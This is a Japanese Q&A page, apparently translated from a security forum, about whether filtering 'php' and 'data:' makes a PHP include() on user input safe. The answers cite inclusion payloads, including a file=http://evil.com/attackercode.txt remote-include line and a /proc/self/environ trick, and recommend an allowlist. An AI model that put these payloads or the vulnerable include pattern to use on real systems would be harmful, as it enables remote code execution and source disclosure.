web-dev-qa-db-ja.com

次のPHPコードは、ソースコード情報の漏洩/開示につながりますか？

PHPのfilterストリームラッパーを介してこの脆弱性を認識しています。このラッパーは、PHPソースコード：file=php://filter/convert.base64-encode/resource=filename.php。

そこで、「php」キーワードをフィルタリング/除外することで、この種の攻撃/エクスプロイトから保護し、PHPストリームラッパーを停止しようとしました。

これが安全/十分に安全であるか、または私のPHPスクリプトのソースコードを悪用して表示する別の可能な攻撃/注入ベクトルがあるかどうか、という考えはありますか？

参考までに、重要であれば、UbuntuでこれらのPHPスクリプトをnginxおよびPHP 5.5.9経由で提供しています。

if (!isset($_GET["file"])) { die(); }
$file = $_GET["file"];
if (preg_match("/data:/i", $file)) {
    die();
}
$file = trim($file);
if (preg_match("/php/i", $file)) {
    die();
}
include($file);

ありがとう

phpexploitauditcode-review
4
Adeline Ho

まず第一に、あなたは単にファイルの内容を開示しているだけではありません。あなたは実行中それです。

PHPがURLの組み込みを許可するように設定されている場合、攻撃者は単にfile=http://evil.com/attackercode.txtおよびスクリプトが攻撃者のコードを実行します。

または、攻撃者はリクエストヘッダーでphpコードを送信してローカルファイルインクルードを実行し、file=/proc/self/environまたはその他の数の攻撃。

つまり、理想的には、ユーザーが提供したデータに対してincludeを呼び出さないでください。

5
wireghoul

ブラックリストに登録することはめったにありません。ホワイトリストはより良いアプローチです。

言語選択にインクルードを使用しているとしましょう。たとえば、fileがenglish、french、またはgermanと等しいかどうかを確認します。そうでない場合はdie()を呼び出します。次に、ユーザーがhttp://example.com/evil.php、php://filter/convert.base64-encode/resource=filename.php、またはsql.phpを指定しても、コードでは実行されないため、問題ではありません。

ちなみに、攻撃者はsql.phpの内容を確認することはできません。PHPインタープリターは、含まれているコードを現在のファイルにあるかのように実行するだけです。ただし、あなたはまだあなたが期待しているファイルだけを含めるべきです。

1
SilverlightFox